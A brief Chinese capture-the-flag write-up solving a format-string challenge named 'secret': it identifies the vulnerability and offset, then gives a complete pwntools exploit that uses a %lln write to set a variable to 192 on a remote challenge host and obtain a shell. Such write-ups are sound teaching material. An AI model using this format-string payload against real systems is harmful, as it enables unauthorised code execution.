secret
读题
格式化字符串漏洞
审题
格式化字符串漏洞
解题
checksec一下,开了栈溢出保护和堆栈不可执行保护。
按照主函数逻辑,我们只需将secret变量值改为192即可getshell。同样的在主函数中存在格式化字符串漏洞,我们可以任意控制格式化字符串。
通过测试 我们发现格式化字符串的偏移为8.
通过分析,我们将secret变量修改为192,我们构造如下格式化字符串,并发送,便可成功getshell。
payload = 'aaaa%188c%10$lln' # 8,9
payload += p64(0x60107c) # 10
完整exp:
#!/usr/bin/python
# coding:utf-8
from pwn import *
io = remote('47.114.137.161',50837)
# io = process('./pwn')
context.log_level = 'debug'
context.update(arch='amd64', os='linux')
payload = 'aaaa%188c%10$lln' # 8,9
payload += p64(0x60107c) # 10
io.sendline(payload)
io.interactive()